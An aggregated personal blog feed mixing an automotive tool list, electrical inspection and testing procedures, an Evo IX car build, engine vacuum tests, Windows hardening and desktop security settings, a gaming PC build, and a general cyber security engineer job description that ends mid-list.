• Extra Long Torx Bit Set

L-Key Sets

• Long Arm Hex Key Wrench Set

• Short & Long Arm Star Key Wrench Set

• Long Arm Ball End Hex Key Wrench Set

• Pivot Head Wrench Set

• Pivot Head Torx Wrench Set

Screwdriver Sets

• Screwdriver Set

• Screwdriver Set with HEX Impact Bolster

• Precision Screwdriver Set

Pliers Sets

• Pliers Set (Inc; Multi Grip Pliers)

• Lock Grip Pliers

• CV Boot Service Kit

• Circlip or Snap Ring Pliers Set

• Trim Removal Tool Set

Knives, Cutters & Pliers:

Bolt Cutters & Tin Snips

• Bolt Cutter

• Tin Snip Plier Straight Cut

Deburring, Hooks & Picks

• Deburring & Chamfering Tool Kit

• Pick & Hook Set

• Scraper Remover Set

Hacksaws & Saws

• Hacksaw Set

Pipe Cutters & Tube Cutters

• Pipe Cutter

• Tube Cutter Set

• Master Flaring Tool Kit

Utility Knives & Knife Blades

• Utility Knives Set

Hammers & Mallets

• Hammer

• Ball Pein Hamme r (680g, 450g & 255g)

• Soft Face Hammer

Punch & Chisel Sets

• Punch & Chisel Set

Files & Brushes

• File Set

• Needle File Set

• Mini File Set

• Wire Brush Set (Small, Medium & Large)

• Parts Washer Brush

Thread Repair

• Tap and Die Set

• Thread Repair Kit

• Thread Chaser

• Oil Drain Plug Repair Kit

Pry Bars & Wrecking Bars

• Pry Bar Set

• Wrecking Bars Set

Riveters & Rivnuts

• Hand Riveter Kit

• Nut Riveter Kit

Lighting

• LED Worklight

• Pocket LED Inspection Light

Specialty Tools:

Bearing Tools

• Bearing Race & Seal Driver Set

• Bushing Bearing Replacer Set

• Mechanical Bearing Separator

• Bearing Removal Set

• Bearing Packer

Brake Tools

• Brake Caliper Wind Back Tool

• Ratcheting Brake Piston Tool Kit

• Caliper Piston Removal Kit or Set

• Drum Brake Service Kit

• Brake Bleeder Kit

• Brake Bleeding Wrench Set

Transmission & Clutch Tools

• Universal Clutch Alignment Tool

• Universal Clutch Aligning Kit 1/Kit 2

• Flywheel Locking Tool

• Transmission/Transaxle Plug

Engine & Fuel Tools

• Serpentine Belt Tool

• Diesel Injector Line Socket Wrench Set

Sensor Tools

• Sensor Socket Set

Hose Clamps & Hose Tools

• Hose Clamp Kit

• Line Clamp

• Hose/Brake Line Pliers

• Steel Line Stopper Kit

Oil Filter Wrenches

• Cup Type Oil Filter Wrench Set

• Cartridge Style Oil Filter Socket Set

• Oil Service Kit

• Magnetic Oil Drain Plug Remover Tool

Funnels, Fluid Extractors & Sprayers

• Universal Funnel

• Multi-Application Oil Funnel

• No-Spill Coolant Filling Plastic Funnel Kit

• Fluid Extraction Transfer Syringe

• Turkey Blaster

• Pressure Sprayer

Pullers & Extractors

• Puller Set

• Jaw Puller Set

• Slide Hammer Puller Set

• Extractor Set

• Crankshaft Seal Remover/Installer

Steering & Suspension Tools

• Power Steering Pumps and Alternators Pulley Remover Installer Kit

• Steering Wheel Puller

• Strut Spring Compressor Interchangeable Fork Coil Extractor Set

• Telescopic Spring Compressor for Wishbone Suspension

• Track Rod Removal Tool Kit

• Master Inner Tie Rod Tool Set

• Universal Ball Joint Separator/Extractor

Tyre Gauges & Tyre Repair

• Digital Tyre Pressure Gauge

• Tyre Tread Depth Gauge

• Tyre Repair Kit

Wheel Tools

• 4-Way Wheel Brace

A/C Tools

• Digital Manifold Kit Bluetooth Supported

• Cordless Vacuum Pump

• AC/Fuel Line Disconnect Tool Kit

Battery Tools

• Jump Start Cable

• Jump Starter (and Protection Case)

• Battery Charger

• Battery Terminal Cleaner

Measuring Tools:

Angle Finders & Gauges

• Angle Measuring Tool

• Angle Finder

• Angular Torque Gauge

Builders Squares & Wheels

• Builders Square Steel

Feeler Gauges

• Feeler Gauge – Metric

• Spark Plug Gap Gauge – Coin

• Screw Pitch Gauge

Levels & Lines

• Level Set

• Torpedo Level

Marking Tools

• Markers

Tape Measures & Rulers

• Wide Blade Tape Measure

• Compact Tape Measure

• Stainless Steel Ruler (300mm & 600mm)

Verniers, Calipers & Micrometer

• Digital Vernier Caliper

• Indicator Set Digital

• Digital Micrometer S et

• Digital Brake Service Measuring kit

Consumables/Fluids and Lubricants:

Grease, Cleaning & Lube

• Multi-Purpose Lubricant

• Gel Lubricant

• Lithium Grease Spray

• Brake and Parts Cleaner

• Degreaser

• Electrical Contact Cleaner Spray

• Di-Electric Grease Spray

• Aluminum Anti-Seize Lubricant

• Copper Anti-Seize Lubricant

• Nickel Anti-Seize Lubricant

• Dielectric Tune-Up Grease

• High Temperature Threadlocker RED

• Medium Strength Threadlocker BLUE

• Blue Stick Threadlocker

• Red Stick Threadlocker

• Pneumatic and Hydraulic Sealant for High Pressure

• Disc Brake Caliper Lube

• Ceramic Brake Grease

• Brake Lubrication Kit

• Heavy-Duty High-Performance Belt Dressing & Conditioner

• Multi-Purpose Grease

• Wheel Bearing Grease

• AC Disinfectant Spray (Forch AirFresh)

• Battery Cleaner

• Battery Terminal Protection - Red & Blue

Additives

• Oil System Flush

• Fuel System Additive

• Transmission & Gear

• Injector Cleaner

• Stop Leak

Brands: (Penrite, Liqui-Moly, Nulon)

Gasket Makers/Removers/Sealers

• Anaeorobic Gasket Maker

• High Temperature Adhesive Sealant

• Ultra Black Maximum Oil Resistance RTV Silicone Gasket Maker

• Ultra Grey Rigid High-Torque RTV Silicone Gasket Maker

• Ultra Copper Maximum Temperature RTV Silicone Gasket Maker

• Red High-Temp RTV Silicone Gasket Maker

• Black RTV Silicone Adhesive Sealant Gasket Maker

Accessories/Assortment kits:

• Split Pins Stainless Steel

• Assorted Solid Crush Copper Washers

• Assorted Aluminium Washers

• Assorted Gasket Rubber Washers

• Body Retainer Assortment

• Spring Band Type Pipe Clamps

• Hose Clamp Assortment

• Mini Fuel Injection Line Style Hose Clamps Assortment Kit

• Stainless Steel T Bolt Hose Clamps

• Hose Clamp End Cover Assortment

Last updated 20/08/2021

Electrical: Periodic Inspection and Testing

noreply@blogger.com (Unknown) — Tue, 24 Apr 2018 18:10:00 +0000

All electrical installations deteriorate with age and use. They should therefore be inspected and tested at regular intervals to check whether they are in line with International Standards, to ensure safe/satisfactory working condition for continued use and compliance with regulations. Such safety checks are commonly referred to as “periodic inspection and testing”.

A periodic inspection will:

• Reveal if any of your electrical circuits or equipment is overloaded.
• Find any potential electrical shock risks and fire hazards in your electrical installation.
• Identify any defective DIY electrical work.
• Highlight any lack of earthing or bonding.

How often is a periodic inspection required?

The interval depends on the type of building or installation. It should be inspected and tested every:

• 10 years for an owner-occupied home.

• 5 years for a rented home.

• 3 years for a caravan.

• 1 year for a swimming pool.

Other times when a periodic inspection should be carried out are:

• When a property is being prepared for renting or leasing.

• Before selling a property or buying a previously-occupied property.

Assessment of general characteristics

The inspection takes into account all the relevant circumstances and checks on:

• The adequacy of earthing and bonding.

• The suitability of the consumer unit and circuit breaker.
• The serviceability of switches, sockets and lighting fittings.
• The type of wiring system and the integrity of cables.
• Sockets that may be used to supply portable electrical equipment for use outdoors, making sure they are protected by a suitable residual current device (RCD).
• The presence of adequate identification and notices.
• The extent of any wear and tear, damage or other deterioration.
• Any changes in the use of the premises that have led to, or may lead to, unsafe conditions.

Visual Inspection

Unlike an initial verification, the periodic inspection should not be intrusive. Before starting the process, the extent and limitation of the inspection must be agreed with the person ordering the work. A minimum of 10% of the installation should be inspected, but if faults are found than this could increase. This is up to the judgment and experience of the inspector.

During visual inspection we would look at the installation with regard to:

• Safety

• Age

• Deterioration

• Corrosion

• Overload

• Wear and tear

• Non-compliance with regulations

Periodic Testing

In a case where the original Electrical Installation Certificate or the latest Electrical Installation Condition Report is available, the level of testing is usually far less for periodic inspection and testing then for initial verification testing.

In most cases however, past documents are either missing or incomplete. If this is the case than 100% of the installation must be tested with the full sequencing.

There is no set sequence for the testing which may be required to complete the Electrical Installation Condition Report. This is up to the judgement of the person carrying out the periodic inspection and testing process as the circuit is already energised. However, we would advise the same sequence of tests as in the initial verification.

The sequence of tests:

• Continuity of protective conductors, including main and supplementary bonding
• Continuity of ring final circuit conductors (If applicable)
• Insulation resistance
• Polarity test
• Earth electrode resistance test (If required)
• Earth fault loop impedance tests
• Prospective fault current test
• RCD test
• Phase sequence test (If applicable)
• Functional testing
• Voltage drop test

Electrical: Initial verification

noreply@blogger.com (Unknown) — Fri, 20 Apr 2018 18:10:00 +0000

Carry out initial verification of electrical installations as detailed in the National Rules for Electrical Installations

The purpose of this inspection is to verify that the installed equipment complies with the electrical safety requirements and that it is not visibly damaged or defective so as to impair safety.

When a new installation has been completed or parts of an old installation altered or extended, it must be tested to ensure that it is safe to use. This process is the initial verification.

Assessment of general characteristics

The standards for electrical installation requires that the following information shall be made available to the person carrying out the inspection and testing:

• The maximum demand.

• The number and type of live conductors.

• The type of earthing arrangement.

• The nominal voltage.

• The nature of the load current and supply frequency.

• The prospective fault current at the origin of the installation (PFC).

• The external earth fault loop impedance (Ze).

• The type and rating of the overcurrent protective device acting at the origin of the installation.

These can be obtained by either inspection, enquiry or by measurement (PFC and Ze).

Diagrams, charts or tables should be available, so as to indicate the type and composition of circuits, identification of protective devices for shock protection, isolation and switching and a description of the method used for fault protection.

Inspection

During the inspection and testing procedure, the following items should be inspected to ensure that they comply with all requirements. Some of these can be inspected during the erection process.

• Warning and danger notices fitted?

• Circuits identified?

• Diagrams and instructions available?

• The correct erection methods have been used?

• Is the equipment suitable for the environment?

• The correct type and size of protective devices been used?

• Have a 30mA RCD been fitted to all circuits which require one?

• Cables routed in safe zones?

• Are the correct size cables being used, taking into account voltage drop and current carrying capacity?

• Requirements been met for basic and fault protection?

• Protective devices and single pole switches connected in the phase conductor?

This list is not exhaustive and depending on the type of the installation, other items may need to be inspected.

Sequence of tests

(Note: tests must not be carried out until inspection has been completed)

During the initial verification procedure, each circuit must be tested. It is very important that the sequence of tests (where relevant) is carried out in a correct order.

The six tests are dead tests (carried out with the supply disconnected and/or the consumers main switch isolated). The results must be satisfactory before the supply is connected and the circuit is switched on. If any tests fail, the problem must be rectified and the sequence of tests must be restarted.

The order is as follows:

Dead testing

• Continuity of the earth conductors in each new/modified circuit
• Continuity of ring final circuit conductors (If applicable)
• Insulation resistance of each conductor
• Polarity of switches and circuits

• Correct circuit connections
• Resistance of earth electrode (where applicable) *

*Alternatively, if the installation is part of a TT system and has an RCD protecting it, the earth electrode resistance may be approximately measured with the incoming supply connected/energised and the consumers main switch isolated, using an earth fault loop impedance test instrument.

Live testing (de-energised where possible)

• Live polarity test at origin of the incoming supply, including at points of consumption

• Earth Loop Impedance both at the origin of the installation (Ze) and in the circuit (Zs)
• Measurement of prospective fault & short-circuit current at the origin of the installation and in the circuit
• Phase sequence test for multiphase circuits (where applicable)
• RCD's operation/trip time
• Functional testing of all accessories in the circuit of circuits

Optional tests:
(Note: this not normally required during initial verification)

• Voltage at the point of control (distribution board): no load, and with load.

• Verification of voltage drop or voltage at available load (Worse condition)
• Measurement of touch voltage
• Test for elevated voltage on neutral / continuity and resistance of the incoming neutral
(where the installation is part of a TN-C-S System earthing with PME or MEN)

Upon completion of the inspection and testing procedure of a new installation or changes to an existing installation, an Electrical Installation Certificate or a Minor Electrical Installation Works Certificate must be completed.

EVO IX Build Specification

noreply@blogger.com (Unknown) — Sun, 09 Jul 2017 16:58:00 +0000

Build Description

Car information
Brand: Mitsubishi
Model: Lancer Evolution IX
Year: 2006
Colour: A39 GUNMETAL GREY
Engine: 4G63
Chassis: CT9A
Current WHP: 300

Notes:
• Cylinder Head (Machined, Ported, Polished, Decked)
• 2.5" pipe from the Compressor Outlet to the Intercooler inlet.
• 3" pipe from the Intercooler outlet to the Throttle Body.
• Speed Density conversion with BOV Recirculated.
• M800 MOTEC ECU Fully fitted and Mapped (with MAFless tune).

Body & Exterior:

• Custom wide body
• VARIS CF Rear Diffuser Rexspeed CF Side Skirt Extension
• Rexspeed Carbon Fiber Vortex
• Generator VARIS CF Pillar Trim
• Voltex Cannard Carspeed CF Bonnet
• Rexspeed CF Bumber Bar Ducts
• Rexspeed CF J Panel Trims Varis Side Skirt
• Carbon Fibre Front Lip
• Rexspeed CF Ganador Style Mirror
• Perrin Shorty Antenna
• BWR Rear Tow Hook Carbon fiber roof (Custom work)
• Front bumper intercooler hole delete (Custom work)
• 15% Tint (Custom work)

Interior:

• Rexspeed Triple Dash Gauge Pod
• Weighted shift knob
• Bose Car Stereo System
• KAP Industries Fire Extinguisher Mounting Bracket (LH side footwell)

Engine:

• BEATRUSH Engine Roll Stopper
• NITTO Clear Cam Gear Cover
• MAP High Performance Valves
• NITTO 2.3L low Comp I-Beam Stroker Kit
• NITTO 1.6MM / 86MM Bore Headgasket
• AMS/TMS Head Studs
• ACL Race Series Bearings
• AMS Performance Race Balance Shaft
• GSC 274/274 Stage 2 Cams (IN, EX Camshaft 274°)
• GSC Beehive Valve Spring and Titanium Retainer set
• GSC Zero Tick Lifters
• AEM Adjustable Cam Gears
• Kiggly Racing HLA Pressure Regulator
• Fluidampr Crank Pulley
• Greddy Timing Belt
• VAT Performance Heat Shield (Black Custom)
• RADIUM Dual Catch Can AOS System
• Dipstick Retension Spring
• Chase Base Power Steering Reservoir Kit
• Moroso Wet Sump Oil Pan

Intake & Exhaust:
• AMS F1-I Intake Manifold
• BBK 75mm Throttlebody
• ETS Short Route Complete Piping Kit
• ETS Air Intake Kit
• Apexi Intake Filter
• Driven V-Band Exhaust Manifold
• Tomei Extreme Ti Exhaust
• Tomei Ver 2 Extreme Dump pipe

Turbo & Intercooler:

• HTA GT3586R Turbocharger (Standalone)
• AMS Intake/Intercooler Kit
• 3-port boost control solenoid supply
• TIAL QR Blow Off Valve
• TIAL MV-S Wastegate

Fuel System & Ignition:

• AMS 1000HP Fuel System
• AEM 320LPH In Line Fuel Pump Kit
• FIC 1800cc Injectors
• Radium Fuel Tank Surge Kit or AMS Fuel Tank Surge Kit
• Spark Tech Pro CDI 12 System (Include Bracket, Black Billet Coil protectors)
• NGK Spark Plug (1 Step Colder)

Handling & Suspension:

• Carbing Front Strut Bar Aluminium 3pt Type RS P with MCS (Master Stopper)
• Whiteline Evo 8/9 Front & Rear Sway Bar Kits (Include Sway bar links)
• WHITELINE Roll Centre Adjustment Kit
• WHILELINE Rear Strut Brace
• Cusco Front Member Power Brace
• Cusco Lower Front Side Power Brace
• Cusco Lower Front Center Power Brace
• Cusco Lower Center Power Brace
• Cusco Rear Trunk Power Brace
• DMS Top Mounts
• DMS Rear Adjustable Mounts
• MCA Street Ultimate Coilovers
• Energy Suspension Hyper-Flex Master Bushing Set
• AMS Rear Trailing Arm Bushings
• Agency Power Rear Adjustable Control Arms
• AMS Mustache Bar Eliminator Kit

Brakes:

• Brembo Monobloc GT Front & Rear Brake Kit*
• HEL Braided Brake Line
• STM ACD Reservoir

Transmission:

• Tokyo Motorsport Ultimate Ratio Built 5 Speed Transmission

• Exedy Twin Carbon Clutch
• ACT Flywheel Prolite
• STM Clutch Fork Stop
• AMS Shifter Bushings
• HEL Braided Clutch Line

Drivetrain:

• Cusco Front LSD
• Cusco Rear LSD
• Driveshaft Shop Front Level 2 Axels
• Driveshaft Shop Rear Level 5 Axels
• Driveshaft Ship Carbon Fiber Driveshaft

Wheels & Tires:

• SSR Professor SP1’s coming in at 19×11 -17 mounted (11" wide wheels with 118mm dish)
• 275/35/19 Nitto Tires

Cooling:

• Koyo Radiator
• Mishimoto Radiator Hose Kit
• GReddy Radiator Breather Tank
• Boostin Performance Oil Cooler Kit
• Carbon Fiber Radiator Cooling Panel
• Torque Solution radiator stay

Engine Management/Electronics/Gauges:

• HKS EVC VI boost controller
• Apexi turbo timer
• M800 MOTEC ECU
• Defi 60mm BF gauges (EGT, Oil Pressure, Boost)
• Defi Link Advance Control Unit
• Omni Power 4 Bar Map Sensor
• NRG Ground Wires

Undecided Upgrades:

• HKS Dry Sump Oil System*
• Brembo Monobloc GT Front & Rear Brake Kit*
• Mocal Power Steering Cooler*
• Battery Relocate Kit*

Performing an Engine Diagnostic: Vacuum Tests

noreply@blogger.com (Unknown) — Tue, 30 May 2017 15:17:00 +0000

Testing an engine’s mechanical condition is required when the cause of a problem is not located during the preliminary inspection. The common testing procedures are those for engine vacuum, cylinder power balance, cylinder compression, cylinder leakage, oil pressure, and cooling system operation. (Refer to Test 2 for the latter two tests) These tests are designed to locate internal engine problems before disassembling the engine.

CAUTION: Be sure to use approved exhaust ventilation equipment when operating a vehicle in an enclosed area.

Procedures for performing engine vacuum tests:

NOTE: Accurately diagnosing problems with a vacuum gauge can be difficult. Study and compare readings to diagnostic charts.

1. Perform a vacuum gauge test to determine engine condition and performance.

Connect the vacuum gauge to an intake manifold vacuum source. Connect a vacuum hose to an accessible intake manifold vacuum connector and extend it up to the vacuum gauge.

Connect the exhaust ventilation equipment

Start the engine and allow it to reach normal operating temperature.

Observe and record the reading with the engine at idle speed. Normal idle vacuum is approximately between 18 in and 21 in. A low reading or an erratic vacuum gauge needle indicates a problem.

Shut off the engine. Disconnect the test equipment. Disconnect the exhaust ventilation equipment.

2. Perform an exhaust restriction test to determine if the exhaust system is restricted or has excessive back pressure.

Connect the vacuum gauge to an intake manifold vacuum source. Connect a vacuum hose to an accessible intake manifold vacuum connector and extend it up to the vacuum gauge.

Connect a tachometer to the engine.

Connect the exhaust ventilation equipment.

Start the engine. Gradually accelerate the engine rpm from idle to 2,000 rpm. Observe and record the reading.

Maintain the engine speed at 2,000 rpm for about 10 seconds or longer. Observe and record the reading. The vacuum gauge should hold steady or increase slightly. The vacuum reading gradually decreases if the exhaust system is restricted.

Shut off the engine. Disconnect the test equipment. Disconnect the exhaust ventilation equipment.

3. Perform a cranking vacuum test to determine if the engine is mechanically sound. Connect the exhaust ventilation equipment.

Start the engine and allow it to reach normal operating temperature. Shut off the engine.

Connect a vacuum gauge to a non-ported vacuum source on the intake manifold.

Disable the ignition system.

Completely block the throttle valve so that air cannot enter.

Crank the engine. Observe and record the cranking vacuum.

Disconnect the vacuum gauge.

Unblock the throttle valve. Enable the ignition. Disconnect the exhaust ventilation equipment.

The following are possible results for this test:

• Satisfactory cranking vacuum indicates a mechanically sound engine.

• Uneven or pulsating cranking vacuum indicates defective valves, defective piston rings, a defective head gasket, or an uneven cranking speed.

• Below normal cranking vacuum indicates excessive resistance in the battery cables, a defective cranking motor, or excessive mechanical drag in the engine.

• Uneven cranking vacuum indicates uneven compression or a defective starter.

NOTE: If the cranking vacuum is uneven, perform a cranking engine cylinder compression test or a cylinder leakage test. Satisfactory engine performance cannot be obtained until existing compression or vacuum leaks are eliminated.

Based on the tests, determine the necessary action to correct any problems. Include further diagnosis and/or repairs.

Network Forensics

noreply@blogger.com (Unknown) — Sat, 20 May 2017 14:34:00 +0000

To break it down, data is data… If a suspect downloads illegal pictures or movies, that data is broken up into smaller pieces and transferred to the system. It is then rebuilt for the user to access. If you were to record the network traffic, every file transferred would be able to be rebuilt on any other system. If you are lucky enough to have full packet capture on your network, you can rebuild everything. The simple reality is, most organizations do not want to spend the resources. It is very expensive. Imagine a network of twenty systems each downloading ten gigs in one day. The normal noise of the network along with the download sessions would be well over two hundred gigs. That would then have to be stored for analysis which is where the cost comes in. That is why a most people usually do not log everything. They only log the red flag events.

Network forensics also covers viewing logs from network devices such as routers, intrusion detection systems, firewall, systems, etc… Each computer has a hardware fingerprint (MAC address) and an Internet fingerprint (IP address). These can be traced back in several ways to the owner. The website arin.net or the American Registry for Internet Numbers is a good place to start.

Some of the information that can be found:

• Passwords and keys (email, bank accounts, etc.)

• Internet activity (web browsing, email, chat, etc.)

• Files downloaded (hacker tools, pirated software, etc.)

• Malware (rootkits, trojans, worms, viruses, botnets, etc.)

• Cyber-attacks (denial of services, buffer overflows, SQL injections, known bad ip addresses, etc.)

• Basically anything to touch your network

System Tweaks and Hardening

noreply@blogger.com (Unknown) — Thu, 29 Dec 2016 16:44:00 +0000

LOG

PRIVACY SETTINGS
https://malwaretips.com/threads/protect-your-privacy-in-windows-10.53397/
https://fdossena.com/?p=w10debotnet/index_1803.frag
SHADOW DEFENDER PARTITION AND SETTINGS https://www.facebook.com/Shadow.Defender.Official.Page/posts/396137140549148
https://malwaretips.com/threads/shadow-defender-and-windows-defender-on-windows-8-1.24299/
WINDOWS DEFENDER
https://blog.emsisoft.com/en/28620/antimalware-service-executable/
https://github.com/cryps1s/DARKSURGEON
https://github.com/AndyFul/Hard_Configurator
https://github.com/AndyFul/ConfigureDefender

WINDOWS HARDENING
https://www.hardenwindows10forsecurity.com/index.html
PAGE FILE SETTINGS
TEMP DATA DIRECTORY CHANGE
USER FILE DIRECTORY CHANGE
APP REDIRECT (MS WORDS) [MKLINK]
PROGRAM TEMP FILES
CHROME USER DATA DIRECTORY CHANGE + PROPERTIES
STEAM GAME DIRECTORY
BSOD LOG FILES
https://blogs.msdn.microsoft.com/ntdebugging/2010/04/02/how-to-use-the-dedicateddumpfile-registry-value-to-overcome-space-limitations-on-the-system-drive-when-capturing-a-system-memory-dump/
EVENT LOG FILES + SETTINGS
ONE DRIVE
https://lifehacker.com/how-to-completely-uninstall-onedrive-in-windows-10-1725363532
https://www.howtogeek.com/225973/how-to-disable-onedrive-and-remove-it-from-file-explorer-on-windows-10/
REGEDIT CHANGES
SYSTEM SERVICES CHANGES
https://www.sordum.org/8637/easy-service-optimizer-v1-2/
APPLICATION SERVICES
AUTORUN / STARTUP ITEMS CHANGES
PREVENTATIVE MAINTENANCE
https://decentsecurity.com/holiday-tasks/
SSD OPTIMIZATION
https://www.howtogeek.com/256859/dont-waste-time-optimizing-your-ssd-windows-knows-what-its-doing/
CHANGES FROM DECENTSECURITY.COM
Network Performance Optimization
uBlock Origin settings
https://github.com/gorhill/uBlock/wiki/Blocking-mode:-medium-mode

Desktop Security Configuration

noreply@blogger.com (Unknown) — Tue, 27 Dec 2016 17:07:00 +0000

Basic Information

PC Environment: Home / Private

Security Awareness: Advanced

Exposure to Malware: Not in a long time

Infection Rate: Rarely

Level of security risk: Medium
Intervals between Personal data backups: Monthly
Intervals between Virus scans: Weekly
Intervals between System cleanup and optimization: Monthly
Intervals between System Image backups: -

Device Information

Operating system: Windows 10
Windows Edition: Pro
Build: 1909

System Type: 64 bit OS

User Account Type: Administrator - Local account

Computer Settings

User Account Control: Always Notify (Maximum)
Smartscreen: Enabled

Security Updates: Automatic Updates - All security and feature updates
Security Protection Settings: Custom - Major changes for Increased Security

Remote Settings: Disabled

Windows Backup: Disabled

System Restore: Enabled for OS Drive
System Tweaks and Hardening

Real-time Protection

Main Malware Protection: Windows Defender Antivirus (at Maximum Security)

Main Cloud Anti-Virus: -

On-demand scanners

Local: Emsisoft Emergency Kit (EEK)

Cloud: Hitman Pro (Registered), IObit Malware Fighter

Firewall & Network Protection
Main Firewall: Windows Firewall + Binisoft WFC

DNS Protection: OpenDNS

Prevention Systems

HIPS: -

Behavior Blocker: NVT OSArmor (Lockdown settings)

Anti-Executable: NTV OSAmor
Software Restriction Policy: In-built

System Reinforcement

Anti-Exploit: VoodooShield
Removable Media/USB Protection: HMPA | OSA
Apps Hardening: HMPA
Docs/File/Folders Protection: SecureFolders
Keystroke Encryption: HMPA
Anti-keylogger: HMPA

Virtualization

System-Wide: Shadow Defender

Restriction-based Sandbox: -

Full Virtualization Sandbox: -

Virtual Machine: Virtual Box

Browser

Normal usage: Mozilla Firefox

Security/anonymous usage: Google Chrome

Browser Security/Extensions
Ad-Blocker: uBlock Origin (Medium)

Web Privacy: uBlock Origin, HTTPS Everywhere
Password Management/Form Protection: LastPass

Privacy & Anonymity

Anti-Windows 10 Telemetry: Shutup10
Encrypted Container: VeraCrypt (Portable)
File Protection: Secure Folders (Portable)
File Encryption: Gpg4Win (Kleopatra)
VPN: OpenVPN

Monitoring

System Vulnerabilities Monitor:-

Process Monitor: Autorun (Portable)

Autorun/Startup Monitor: Process Hacker (portable) | Process Explorer (Portable)

Resources Monitoring: In-built Resources Monitor
Registry Manager: -

Network Monitor: -

System Maintenance & Optimization

Browser Cleaner: -

System Cleaner: Ccleaner (Portable) | Wise Disk Cleaner (portable)

System Optimizer: -

Recovery

Data Backup: Paragon Hard Disk Manager
Disk Imaging Backup: -

Boot CD: Acronis TI | Hiren Boot CD made bootable via USB

Virus and Malware Removal Tools
EEK -- Zemana - Norton Power Eraser, Malwarebytes AdwCleaner

My configuration is made by virtue of the layered protection idea.

All my security software are selected specifically to run together without conflict, I set them for maximum compatibility/protection with the lowest resources usage possible.

Last updated: 10 April 2020

Software package: DarkSploit

noreply@blogger.com (Unknown) — Mon, 19 Dec 2016 16:39:00 +0000

Operating System

Windows 10 Pro

Essential Software

Hard Configurator

Shadow Defender

Mozilla Firefox

Google Chrome

Microsoft Office Home & Student 2016

WinRAR

Steam

VLC Media Player

VirtualBox

System Utilites

Corsair iCUE
Samsung Magician
Logitech Gaming Software

Optional Software

Team Viewer (Portable)
CCleaner (Portable)

qBittorrent

DropBox

Games

Counter Strike: Global Offensive

Defence of the Ancient 2

PlayerUnknown's Battlegrounds
Mircrosoft Flight Simulator
DCS World

Last updated: 10 June 2020

Z170 Gaming PC Build (DarkSploit)

noreply@blogger.com (Unknown) — Mon, 12 Dec 2016 10:24:00 +0000

Specification

Core Components:

Case - Corsair Graphite 780T (Black)

Motherboard - ASUS ROG Maximus VIII Formula

Processor (CPU) - Intel Core i7-6700K - 4.715GHz (Multiplier: 44, BCLK: 104.75MHz, Voltage: 1.24v, LLC 6)

CPU Cooling - Corsair Hydro Series H100i Elite CAPELLIX

Memory (RAM) - Corsair Vengeance RGB PRO 32GB (4x8GB) DDR4-3600

Power Supply - EVGA SuperNOVA 750 G2

Video:

Graphics Card - EVGA GeForce GTX 1070 Ti FTW2 Gaming iCX 8GB

Storage:

Solid State Drive (1) - Samsung 960 EVO 250GB M.2 NVMe SSD
Solid State Drive (2) - Samsung 860 EVO 1TB SSD
Hard Drive (3) - Western Digital Blue 4TB HDD
Hard Drive (4) - Western Digital Blue 1TB HDD

Peripherals

Display - ASUS VG279QM 27" TUF Gaming Monitor

Mouse - Corsair Sabre RGB PRO Champion Series Gaming Mouse

Mouse Surface - Corsair MM700 RGB Extended Mouse Pad

Keyboard - Corsair K70 MAX RGB - Steel Grey (Corsair MGX Switch)
Keyboard Companion - Corsair iCue Nexus Keyboard Touch Screen Companion

Headset - Corsair HS80 RGB Wireless Gaming Headset - Carbon
Headset Stand - Corsair ST100 RGB Premium Headset Stand
Speakers - Creative BlasterX Kratos S5 2.1 RGB Gaming Speakers
Power Protection - Power Shield Commander Tower 1.1KVA UPS
External Desktop Drive - Seagate Expansion Desktop Hard Drive 6TB

Case Mods & Accessories

Cabling - Red Sleeved Cable Extensions
System Lighting - Corsair Lighting Node Pro RGB
Front and Exhaust Fans - Corsair SP140 RGB Pro 140mm RGB LED Cooling Fan
Radiator Fans - Corsair ML120 Pro 120mm Mag-Lev RGB LED Cooling Fan
Thermal Paste - Thermal Grizzly Kryonaut
Case Covers - Motherboard Tray Cover, SSD Caddy Cover, Long PSU Shroud, Custom HDD Cage
Case Badges - Intel, ROG, Corsair, EVGA

Setup

Storage Configuration:
OS - Samsung 960 EVO 250GB M.2 NVMe SSD
Apps/Games- Samsung 860 EVO 1TB SSD (/2 Partitions)
Data - Western Digital Blue 4TB HDD (/2 Partitions)
Backup/Misc - Western Digital Blue 1TB HDD

Main Use of System:

• Home use

• Gaming

• Virtualization

Benchmarking:

• CPU Benchmark Results
• Graphic Benchmark Results
• Stress-Testing Results

Distribution:

• Software package

• Desktop Security Configuration
• System Tweaks

Built by Myself

Colour Theme: Black, and Red

Manufacturer Theme: Intel, ASUS, Corsair, Samsung, EVGA and Mix of Corsair, and Logitech Gears.

Linux Security

noreply@blogger.com (Unknown) — Sun, 02 Oct 2016 13:26:00 +0000

• Assessing security risks in your enterprise Linux environment.

• The best techniques and tools to increase security.

• Server hardening

• Deploying monitoring and attack detection tools.

• Gaining visibility into possible vulnerabilities.

• Developing your Linux security policy and response strategy.

• Configuring your systems for compliance with HIPAA, DISA STIG, etc.

A Day in the Life of a Cyber Security Engineer

noreply@blogger.com (Unknown) — Sat, 24 Sep 2016 20:00:00 +0000

As with other information security jobs, work as a cyber security engineer can hardly be defined as routine. While there are some aspects of the job that need to be handled or performed daily, you never really know what your day will entail until it happens. Cyber security engineers typically work in fast-paced, complex environments and are frequently required to work odd hours and even overtime, in some cases. It can be stressful for people who do not thrive in that kind of environment.

While you never know when a threat or attack is going to take priority, some of the daily tasks that a cyber security engineer may have to perform are:

Responding to any network or system security breaches or viruses
Ensuring that appropriate security controls are consistently in place to protect the organizations digital files and infrastructure
Planning, implementing, managing, monitoring, and upgrading security measures for the protections of systems, networks, and data
Various administrative tasks, reporting, and communication with other departments
Performing penetration testing and identifying system and network vulnerabilities
Day-to-day tasks and activities can vary for cyber security engineers, depending on where they work and the types of systems and networks they are responsible for protecting.

What is a Typical Cyber Security Engineer job description?

As a cyber security engineer, you will be responsible for protecting the networks and systems of an organization against threats from adversaries in cyberspace. The functions of cyber security engineers include performing assessments and penetration testing, development and implementation of secure network solutions, architecting, engineering trusted systems into secure systems, and managing audit/intrusion and security technology systems.

Cyber security engineers must be able to troubleshoot, identify unauthorized access, and offer solutions regarding an organization’s system and network as it relates to cyber security. When in this position, you will perform the very detailed work at the forefront of information protection efforts for the organization. It is your training, skills, experience, and education that stand between the organization for which you work and threats and breaches, like unauthorized access to data and information or intrusion into your organization’s systems.

Cyber security engineers may also be known as IT security engineer, application security engineer, web security engineer, or data security engineer. Whatever the title, you will also be responsible for collaborating with other departments to establish security protocols and protect IT systems.

What are the Cyber Security Engineer requirements?

Employers typically look for cyber security engineer candidates to have at least a bachelor’s degree in computer science or another related field of study, and at least three years of experience in identifying threats and developing effective protection countermeasures.

Additionally, as a cyber security engineer, most employers will expect you to have the following:

